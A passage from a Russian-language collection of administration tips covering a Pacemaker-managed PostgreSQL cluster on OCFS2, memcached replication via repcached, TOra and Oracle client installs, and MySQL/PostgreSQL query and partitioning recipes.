socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* Организация мульти-мастер репликации двух memcached-серверов (доп. ссылка 1)   [комментарии]
     
    Для организации автоматической репликации данных между двумя серверами
    memcached (http://memcached.org/) можно использовать набор патчей
    http://repcached.lab.klab.org/ . Система поддерживает мульти-мастер режим и
    реплицирует данные в асинхронном режиме, поддерживаются все команды memcached
    (set, add, delete, incr/decr, flush_all, cas).
    
    Например, используя репликацию удобно организовать синхронизированное хранение
    в memcached номеров пользовательских сессий, при раздельном обслуживании частей
    сайта несколькими серверами.
    
    Ниже представлен пример настройки двух реплицированных memcached-серверов в Debian/Ubuntu.
    
    Для работы memcached в PHP подключаем соответствующий модуль и указываем
    хранить идентификаторы сессий через него:
    
       extension=memcache.so
       session.save_handler = memcache
       session.save_path = "tcp://192.168.168.61:11211?persistent=1,tcp://192.168.168.62:11211?persistent=1"
    
    При такой конфигурации идентификаторы сессий всегда будут сохраняться сразу на
    двух узлах memcached. Но у такой схемы есть проблемы: если один узел выйдет из
    строя или будет перезагружен, все ранее сохраненные номера на этом узле сессий
    будут потеряны.
    
    Автоматизировать синхронизацию данных между несколькими memcached-серверами
    можно при помощи repcached. При этом репликация производится в прозрачном
    режиме, пользовательские приложения обращаются только к локальному memcached, а
    всю работу по репликации выполняет repcached, делая это в асинхронном режиме.
    
    1. Копируем исходные тексты repcached c http://repcached.lab.klab.org/ ,
    дополнительно установив пакет libevent-dev, который понадобиться для сборки:
    
       # tar xvf memcached-1.2.8-repcached-2.2.tar
       # cd memcached-1.2.8-repcached-2.2/
       # apt-get install libevent-dev checkinstall
    
    Компилируем и устанавливаем в /usr/local/bin/memcached:
    
       # ./configure --enable-replication
       # make
    
    Устанавливаем через создание пакета вместо make install
       # checkinstall
    
    
    Формируем опции для запуска, создаем /etc/default/memcachedrep:
    
        DAEMON_ARGS="-m 64 -p 11211 -u root -P /var/run/memcachedrep.pid -d -x 192.168.168.2 -X 11212"
    
    где 192.168.168.2 - адрес второго сервера, куда следует реплицировать данные,
    11212 - номер порта, который будет использоваться для репликации данных.  На
    втором сервере по аналогии прописываем адрес первого сервера.
    
    Создаем скрипт для запуска /etc/init.d/memcachedrep:
    
    
       #! /bin/sh
       ### BEGIN INIT INFO
       # Provides:             memcached
       # Required-Start:       $syslog
       # Required-Stop:        $syslog
       # Should-Start:         $local_fs
       # Should-Stop:          $local_fs
       # Default-Start:        2 3 4 5
       # Default-Stop:         0 1 6
       # Short-Description:    memcached - Memory caching daemon    replicated
       # Description:          memcached - Memory caching daemon  replicated
       ### END INIT INFO
       # Author: Marcus Spiegel <marcus.spiegel@gmail.com>
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       DESC="memcachedrep"
       NAME=memcached
       DAEMON=/usr/local/bin/$NAME
       DAEMON_ARGS="--options args"
       PIDFILE=/var/run/memcachedrep.pid
       SCRIPTNAME=/etc/init.d/$DESC
       VERBOSE="yes"
       # Exit if the package is not installed
       [ -x "$DAEMON" ] || exit 0
       # Read configuration variable file if it is present
       [ -r /etc/default/$DESC ] && . /etc/default/$DESC
       # Load the VERBOSE setting and other rcS variables
       . /lib/init/vars.sh
       # Define LSB log_* functions.
       # Depend on lsb-base (>= 3.0-6) to ensure that this file is   present.
       . /lib/lsb/init-functions
       #
       # Function that starts the daemon/service
       #
       do_start()
       {
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --test > /dev/null \
    		|| return 1
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON -- \
    		$DAEMON_ARGS \
    		|| return 2
       }
       #
       # Function that stops the daemon/service
       #
       do_stop()
       {
          start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE --name $NAME
          RETVAL="$?"
          [ "$RETVAL" = 2 ] && return 2
    	start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON
    	[ "$?" = 2 ] && return 2
    	# Many daemons don't delete their pidfiles when they exit.
    	rm -f $PIDFILE
    	return "$RETVAL"
       }
       #
       # Function that sends a SIGHUP to the daemon/service
       #
       do_reload() {
    	start-stop-daemon --stop --signal 1 --quiet --pidfile $PIDFILE --name $NAME
    	return 0
       }
       case "$1" in
         start)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME"
    	do_start
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         stop)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME"
    	do_stop
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         restart|force-reload)
    	log_daemon_msg "Restarting $DESC" "$NAME"
    	do_stop
    	case "$?" in
    	  0|1)
    		do_start
    		case "$?" in
    			0) log_end_msg 0 ;;
    			1) log_end_msg 1 ;; # Old process is still running
    			*) log_end_msg 1 ;; # Failed to start
    		esac
    		;;
    	  *)
    	  	# Failed to stop
    		log_end_msg 1
    		;;
    	esac
    	;;
         *)
    	#echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
    	echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
    	exit 3
    	;;
       esac
       exit 0
    
    Тестируем:
    
    На первом узле помещаем ключ в хранилище:
    
       $ telnet 127.0.0.1 11211
    
       set foo 0 0 3
       bar
       STORED
    
    На втором узле убеждаемся, что ключи реплицировались успешно:
    
       telnet 127.0.0.1 11211
    
       get foo
       VALUE foo 0 3
       bar
       END
    
    Далее перезапускаем один из memcached-серверов и по аналогии проверяем,
    восстановились ли на нем данные.
    
     
    ----* Установка интегрированной среды TOra с поддержкой Oracle в Ubuntu 8.10 (доп. ссылка 1) (доп. ссылка 2)   Автор: Waster  [комментарии]
     
    TOra (http://tora.sourceforge.net) "Toolkit for Oracle" - полноценная IDE для
    работы с такими СУБД, как Oracle, MySQL, PostgreSQL.
    
    Сегодня я поделюсь успешным опытом установки TOra c поддержкой Oracle на Ubuntu 8.10. 
    По умолчанию, в пакет из репозитория не включена поддержка Oracle (что для меня
    очень и очень странно), поэтому пришлось пересобирать пакет.
    
    Подготовка
    
    Устанавливаем необходимые для сборки пакеты
    
       sudo apt-get install libqt3-mt-dev libqt3-compat-headers libqscintilla-dev build-essential \
          g++ gcc autoconf automake flex zlib1g-dev docbook-xsl debhelper alien libaio1 dpatch
    
    Установка клиента Oracle
    Скачиваем нужные RPM-пакеты с http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html
    
    Нам понадобятся oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm, oracle-instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm,
    oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm
    
    Устанавливаем клиент
       sudo alien -i oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm
       sudo alien -i oracle-instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm
       sudo alien -i oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm
    
    Делаем видимыми библиотеки
       sudo echo /usr/lib/oracle/11.1/client/lib > /etc/ld.so.conf.d/oracle.conf
       sudo ldconfig
    
    Переменные окружения
    
    Устанавливаем переменные окружения и добавляем их в .profile
    
       export ORACLE_HOME=/usr/lib/oracle/11.1/client
       export LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib
       export TNS_ADMIN=/usr/lib/oracle/11.1/client
    
       echo "export ORACLE_HOME=/usr/lib/oracle/11.1/client" >> ~/.profile
       echo "export LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib" >> ~/.profile
       echo "export TNS_ADMIN=/usr/lib/oracle/11.1/client" >> ~/.profile
    
    Сборка TOra
    
    Сохраняем исходники
    
       apt-get source tora
       cd tora-1.x.xx
    
    В файле debian/rules находим строчку (или аналогичную)
    
       ./configure --prefix=/usr --without-oracle --without-rpath --disable-new-check --with-kde \
       --enable-libsuffix= --infodir=/usr/share/info
    
    и меняем ее на
    
       ./configure --prefix=/usr --with-instantclient --with-oracle-includes=/usr/include/oracle/11.1/client \
       --without-kde --without-rpath --disable-new-check --enable-libsuffix= --infodir=/usr/share/info
    
    Если кому хочется с KDE, то поможет ключик --with-kde.
    
    Собираем и устанавливаем TOra
    
          debian/rules binary
          cd ..
          sudo dpkg -i tora_1.x.xx-x_i386.deb
    
    Не забываем положить tnsnames.ora в TNS_ADMIN, и можно запускать TOra.
    
     
    ----* Сравнение таблиц на удаленных серверах PostgreSQL   Автор: Тормал  [комментарии]
     
    Пришлось придумать как сравнить довольно таки объемные таблицы на предмет
    одинаковости данных в заданном поле.
    Сравнивать построчно слишком долго и накладно таскать эти объемы по сети. 
    Выход посчитать md5 сумму по колонке для всех значений.
    
    Для этого выбираем поле по которому будем сравнивать, поле должно быть независимым от серверов. 
    Делаем из него blob, и считаем md5.
    
    Пример: есть таблица A и поле B.
    
       select md5(array_send(array(select B from A order by 1))) as md5;
    
    после это сравнив md5 суммы с обоих серверов можно утверждать об одинаковости набора данных.
    
     
    ----* Изменение текущего часового пояса в MySQL, PostgreSQL и в скриптах   [комментарии]
     
    MySQL:
    
    Посмотреть список глобального и локального часового пояса:
       SHOW VARIABLES LIKE '%time_zone%';
    
    Конвертация в запросе времени из одной временной зоны в другую:
       SELECT CONVERT_TZ('2008-10-24 5:00:00','UTC','MSK');
    
    Изменить текущую зону для локального соединения:
       SET time_zone = 'MSK'
    или
       SET time_zone = '+03:00';
    
    Для всего MySQL сервера часовой пояс можно поменять установив в файле конфигурации:
       default-time-zone='MSK'
    
    или под привилегированным пользователем выполнить запрос:
       SET GLOBAL time_zone ='MSK'
    
    
    PostgreSQL:
    
    Для текущей сессии зона задается через:
       SET TIME ZONE 'MSK'
    или
       SET TIME ZONE '-3'
    
    Для клиентов использующих libpq часовой пояс может быть определен в переменной окружения PGTZ.
    
    Если часовой пояс для всей СУБД не определен (параметр timezone) в postgresql.conf, он берется из 
    стандартной переменной окружения TZ
    
    в shell:
       export TZ=GMT-3
    
    в perl:
       $ENV{"TZ"}="GMT-3";
       
    в PHP:
       putenv("TZ=GMT-3");
    
     
    ----* Установка клиента Oracle в Solaris без использования графического интерфейса (доп. ссылка 1)   Автор: Kovalchuk Egor  [обсудить]
     
    На официальном сайте Oracle присутствует небольшое руководство по установке в Solaris
    без использования графического интерфейса, при этом оно сводится к тому, 
    что нужно запустить скрипт под графическим интерфейсом с дополнительными параметрами.
    
       /directory_path/runInstaller -record -destinationFile response_filename
    
    В итоге получаем файл, который может быть использован при установке,
    но установка графического интерфейса была не приемлема, 
    поэтому пришлось разбираться самому с файлом ответов.
    
    Для установки нужно скачать клиента с оф. сайта Oracle.
    скачать можно по адресу:
     http://download-llnw.oracle.com/otn/solaris/oracle10g/10201/sol64/10gr2_client_sol.cpio.gz
    
    создайте пользователя и группу для клиента
    например:
    
       useradd oracle
       groupadd oracle
       usermod -g oracle oracle
       passwd oracle	
    
    Создайте папку распакуйте полученный архив в эту папку и дайте команду
    
       chown -R oracle:oracle /directory_path/	
    
    Теперь нужно править или создать свой фаил ответов
    
       версию можем не трогать
       RESPONSEFILE_VERSION=2.2.1.0.0
    
       имя группы которую создали для оракла
       UNIX_GROUP_NAME="oracle"
    
       если вы брали стандартый дистрибутив с сайта менять не надо
       FROM_LOCATION="../stage/products.xml"
    
       имя и путь к следующему фаилу ответов
       NEXT_SESSION_RESPONSE=""
    
       Куда устанавливаем
       ORACLE_HOME="/export/home/oracle/client"
       ORACLE_HOME_NAME="OraClient"
    
       эти значения нужно оставить по молчанию. Беруться из примеров файлов ответов в дистрибутиве
       TOPLEVEL_COMPONENT={"oracle.client","10.2.0.1.0"}
       DEINSTALL_LIST={"oracle.client","10.2.0.1.0"}
    
       т.к. у нас тихая инсталяция а эти параметры требуют графический интерфейс скидываем их все в false 
       SHOW_SPLASH_SCREEN=false
       SHOW_WELCOME_PAGE=false
       SHOW_CUSTOM_TREE_PAGE=false
       SHOW_SUMMARY_PAGE=false
       SHOW_INSTALL_PROGRESS_PAGE=false
       SHOW_CONFIG_TOOL_PAGE=false
       SHOW_XML_PREREQ_PAGE=false
       SHOW_ROOTSH_CONFIRMATION=true
       SHOW_END_SESSION_PAGE=false
       SHOW_EXIT_CONFIRMATION=false
       SHOW_DEINSTALL_CONFIRMATION=false
       SHOW_DEINSTALL_PROGRESS=false
    
       следующая сессия нам не нужна поэтому скидываем параметры в false
       NEXT_SESSION=false
       NEXT_SESSION_ON_FAIL=false
    
       CLUSTER_NODES={}
    
       какую папку удалить после установки
       REMOVE_HOMES=""
    
       выбор поддержки языка
       COMPONENT_LANGUAGES={"en"}
    
       тип исталяции 
       INSTALL_TYPE="Administrator"
    
       если используется тип инсталяции Custom нужно добавить еще один параметр, 
       где перечисляются нужные компоненты
       DEPENDENCY_LIST={"oracle.sqlj:10.2.0.1.0","oracle.rdbms.util:10.2.0.1.0",
          "oracle.javavm.client:10.2.0.1.0","oracle.sqlplus:10.2.0.1.0",
          "oracle.dbjava.jdbc:10.2.0.1.0","oracle.ldap.client:10.2.0.1.0",
           "oracle.rdbms.oci:10.2.0.1.0","oracle.precomp:10.2.0.1.0","oracle.xdk:10.2.0.1.0",
           "oracle.swd.opatch:10.2.0.1.0","oracle.network.aso:10.2.0.1.0","oracle.oem.client:10.2.0.1.0",
           "oracle.oraolap.mgmt:10.2.0.1.0","oracle.network.client:10.2.0.1.0","oracle.ordim.client:10.2.0.1.0",
           "oracle.ons:10.1.0.3.0","oracle.has.client:10.2.0.1.0"}
    
    
    после того как готов файл, залогиниваемся под пользователем клиента и запускаем команду
    
       /directory_path/runInstaller -silent -responseFile responsefilename
    
    снова перелогиниваемся под рутом и запускаем скрипт root.sh, который лежит в
    папке с установленным клиентом
    
    Установка прошла успешно
    А дальше пользуемся готовыми статьями по настройке подключений.
    
    
    P.S. возможны проблемы, когда некоторые фалы копируются битыми, просто
    перезапустите скрипт утановки.
     
    
     
    ----* Как организовать выборку ключа по условию больше или равно в BerkeleyDB   [обсудить]
     
    Задача: выбрать запись с ключем большим или равным искомому, т.е. организовать
    выборку по промежутку значений:
    
    #!/usr/bin/perl
    use strict;
    use BerkeleyDB;
    use constant DB_DEF_CACHE_SIZE => 5000000;
    my %hash;
    
    my $dbobj = tie(%hash, 'BerkeleyDB::Btree',
            -Filename    => "test.db",
            -Cachesize   => DB_DEF_CACHE_SIZE,
            -Flags       => DB_CREATE,
            -Compare     => sub { $_[0] <=> $_[1] }
            ) or die "Can't create or open DB File!\n";
    
    # Тестовые значения
    $hash{5}="0-5";
    $hash{8}="6-8";
    $hash{20}="9-20";
    $hash{80}="21-80";
    
    my ($key, $val);
    my $cursor = $dbobj->db_cursor();
    
    # Выборка.
    $key=3;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "3=$val\n";
    
    $key=25;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "25=$val\n";
    
    $key=80;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "80=$val\n";
    
    untie %hash;
    
     
    ----* Как сохранить данные в базе данных в сжатом виде. (доп. ссылка 1)   [комментарии]
     
    Для MySQL есть утилита myisampack или самое простое, своими силами данные, 
    перед помещением в базу, сжимать и разжимать (функции COMPRESS() и UNCOMPRESS()).
    
    В PostgreSQL для хранения текстовой информации в сжатом виде предусмотрен тип данных "lztext".
    
    Можно сжатие данных возложить на плечи файловой системы, для linux и freebsd 
    есть возможности для прозрачного сжатия.
    
     
    ----* Типы хранилищ и возможности Berkeley DB   [комментарии]
     
    Berkeley DB позволяет эффективно организовать хранилище пар вида ключ/значение. 
    Типы хранилища:
      Hash - хэш, выборка по точному значению
      Btree - сбалансированное дерево, выборка по точному значению или >=.
      Recno - для хранения индексированных массивов.
      Queue - оптимизировано для очередей, где чаще всего запрашивают элементы верхушки или низа.
    
    В версиях от 2 и выше, поддерживаются средства одновременного апдейта базы, локов, 
    транзакций, "курсоров", восстановления поврежденного хранилища.
    
     
    ----* Как в SQL запросе осуществить преобразование время минус число.   [обсудить]
     
    mytime - timestamp поле
    myint - integer поле
    SELECT mytime - interval (myint) FROM sometable;
    
     
    ----* маленькая заметка к возрастающим ключам   Автор: Yuri A. Kabaenkov  [обсудить]
     
    в последних версиях pgsql существует тип данных serial
    которой автоматически создает последовательность.
    тоесть CREATE TABLE test (
         a serial
    );
    
     

       MySQL специфика

    ----* Использование разделов MySQL для разбиения таблицы по дням месяцам и годам   Автор: gara  [комментарии]
     
    Приходится иметь дело с таблицами, которые содержат редко (или никогда)
    обновляемые данные, такие как логи. Некоторые таблицы чистятся, некоторые
    хранят записи "вечно". Чтобы уменьшить нагрузку на диск и ФС, придумали такую
    вещь как partitioning  (Cекционирование).
    
    Часто необходимо резать таблицу на partition по году по месяцу или по дням
    месяца/недели. Что-то подсказывает что резать придется по полю типа timestamp.
    
    
    Сделаем табличку
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`)
       );
    
    и попробуем порезать ее по годам
    
       ALTER TABLE foo PARTITION BY RANGE (YEAR(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (2012) ,
        PARTITION p2012 VALUES LESS THAN (2013) ,
        PARTITION p2013 VALUES LESS THAN (2014)
       );
    
    получаем:
    
        ERROR 1486 (HY000): Constant, random or timezone-dependent   expressions in (sub)partitioning function are not allowed
    
    объяснения этому вот какое: "TIMESTAMP is internally converted to the local sessions timezone."
    
    ладно:
    
       SELECT UNIX_TIMESTAMP('2012-01-01 00:00:00');
       +---------------------------------------+
       | UNIX_TIMESTAMP('2012-01-01 00:00:00') |
       +---------------------------------------+
       |                            1325361600 |
       +---------------------------------------+
    
       SELECT UNIX_TIMESTAMP('2013-01-01 00:00:00'); = 1356984000
       SELECT UNIX_TIMESTAMP('2014-01-01 00:00:00'); = 1388520000
    
    теперь:
    
        ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (1325361600) ,
        PARTITION p2012 VALUES LESS THAN (1356984000) ,
        PARTITION p2013 VALUES LESS THAN (1388520000) ,
        PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
       );
       
    вот, теперь получаем:
    
       ERROR 1503 (HY000): A PRIMARY KEY must include all columns in the table's partitioning function
    
    это лечится:
    
       ALTER table foo DROP PRIMARY KEY, add PRIMARY KEY (`id`,`date_added`);
    
    и еще раз:
    
       ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (1325361600) ,
        PARTITION p2012 VALUES LESS THAN (1356984000) ,
        PARTITION p2013 VALUES LESS THAN (1388520000) ,
        PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
       );
    
    все ок.
    
    получаем:
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`,`date_added`)
       ) ENGINE=InnoDB
       
       PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (PARTITION p2011 VALUES LESS THAN (1325361600) ENGINE = InnoDB,
        PARTITION p2012 VALUES LESS THAN (1356984000) ENGINE = InnoDB,
        PARTITION p2013 VALUES LESS THAN (1388520000) ENGINE = InnoDB,
        PARTITION pMAXVALUE VALUES LESS THAN MAXVALUE ENGINE = InnoDB);
    
    
    Отлично!
    
    Такой тип "нарезки" подходит если надо архивные данные разложить по файлам "за год" или по месяцам.
    
    Но как быть если надо, например, таблицу с логами разложить по дням месяца, то
    есть в таблицу что-то пишется что хранится месяц или два потом трется.
    То есть как быть если мы хотим порезать так
    
        PARTITION BY RANGE (MONTH(date))
    
    или так
    
        PARTITION BY RANGE (DAY(date_add))
    
    поле типа timestamp не подходит.
    
    Гугление говорит что надо использовать datetime.
    
    ок, создадим таблицу
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` datetime  DEFAULT NULL,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`,`date_added`)
       ) ENGINE=InnoDB;
    
    Обратите внимание:
    
       `date_added` datetime  DEFAULT NULL,
    
    дело в том что, CURRENT_TIMESTAMP в качестве значения по умолчанию для поля
    типа datetime не катит, NOW() как значение по умолчанию указывать нельзя т.к.  функция.
    
    А  надо чтоб date_added выставлялось автоматом.
    
    выхода 2
    
    1. либо во всех запросах в INSERT добавлять NOW().
    2. если первое невозможно, то вешать триггер который при каждом добавлении будет date_added=NOW();
    
    что-то вроде
    
       DELIMITER $$
    
       USE `test_db`$$
    
       CREATE
           /*!50017 DEFINER = 'trigger'@'%' */
           TRIGGER `foo_add` BEFORE INSERT ON `foo`
           FOR EACH ROW BEGIN
    
             SET NEW.date_added = IFNULL(NEW.date_added, NOW());
    
           END;
       $$
    
    Теперь у нас таблица с нужными типами, ключами и триггером.
    
    и мы с легкостью можем разрезать таблицу по месяцам:
    
        ALTER TABLE foo PARTITION BY RANGE (MONTH(date_added))
       (
       PARTITION p01 VALUES LESS THAN (02) ,
       PARTITION p02 VALUES LESS THAN (03) ,
       PARTITION p03 VALUES LESS THAN (04) ,
       PARTITION p04 VALUES LESS THAN (05) ,
       PARTITION p05 VALUES LESS THAN (06) ,
       PARTITION p06 VALUES LESS THAN (07) ,
       PARTITION p07 VALUES LESS THAN (08) ,
       PARTITION p08 VALUES LESS THAN (09) ,
       PARTITION p09 VALUES LESS THAN (10) ,
       PARTITION p10 VALUES LESS THAN (11) ,
       PARTITION p11 VALUES LESS THAN (12) ,
       PARTITION p12 VALUES LESS THAN (13) ,
       PARTITION pmaxval VALUES LESS THAN MAXVALUE );
    
    или даже по дням недели:
    
        ALTER TABLE foo PARTITION BY RANGE (DAYOFWEEK(date_added))
       (
       PARTITION p01 VALUES LESS THAN (2) ,
       PARTITION p02 VALUES LESS THAN (3) ,
       PARTITION p03 VALUES LESS THAN (4) ,
       PARTITION p04 VALUES LESS THAN (5) ,
       PARTITION p05 VALUES LESS THAN (6) ,
       PARTITION p06 VALUES LESS THAN (7) ,
       PARTITION p07 VALUES LESS THAN (8) ,
       PARTITION pmaxval VALUES LESS THAN MAXVALUE );
    
    или даже 2 дня на partition:
    
       ALTER TABLE foo PARTITION BY LIST (DAY(date_added))
       (
       PARTITION p00 VALUES IN  (0,1) ,
       PARTITION p02 VALUES IN  (2,3) ,
       PARTITION p04 VALUES IN  (4,5) ,
       PARTITION p06 VALUES IN  (6,7) ,
       PARTITION p08 VALUES IN  (8,9) ,
       PARTITION p10 VALUES IN  (10,11),
       PARTITION p12 VALUES IN  (12,13),
       PARTITION p14 VALUES IN  (14,15),
       PARTITION p16 VALUES IN  (16,17),
       PARTITION p18 VALUES IN  (18,19),
       PARTITION p20 VALUES IN  (20,21),
       PARTITION p22 VALUES IN  (22,23),
       PARTITION p24 VALUES IN  (24,25),
       PARTITION p26 VALUES IN  (26,27),
       PARTITION p28 VALUES IN  (28,29),
       PARTITION p30 VALUES IN  (30,31)
       );
    
    В общем теперь все в ваших руках.
    
    
    P.S. Подразумевается что выставлена опция innodb_file_per_table
    
     
    ----* Автозаполнение столбцов для автоинкремента в MySQL   Автор: Lennotoecom  [комментарии]
     
    Задача:
    В существующую таблицу добавить столбец, автоматически заполнить его от 1 до
    количества строк в таблице, сделать его ключевым с автоинкрементом.
    
    Решение:
    
    Исходная таблица
    
       mysql> select * from tTable;
       +------+
       | b    |
       +------+
       | aa   |
       | ab   |
       | ac   |
       | ad   |
       | ae   |
       | af   |
       | ag   |
       | ah   |
       +------+
       8 rows in set (0.00 sec)
    
    Добавляем столбец командой: 
    
       mysql> alter table tTable add a int;
    
    теперь таблица имеет вид
    
       mysql> select * from tTable;
       +------+------+
       | b    | a    |
       +------+------+
       | aa   | NULL |
       | ab   | NULL |
       | ac   | NULL |
       | ad   | NULL |
       | ae   | NULL |
       | af   | NULL |
       | ag   | NULL |
       | ah   | NULL |
       +------+------+
       8 rows in set (0.00 sec)
    
    Собственно само автозаполнение: 
    
       mysql> set @x:=0; update tTable set a=(@x:=@x+1);
    
    После чего таблица будет иметь вид
    
       mysql> select * from tTable;
       +------+------+
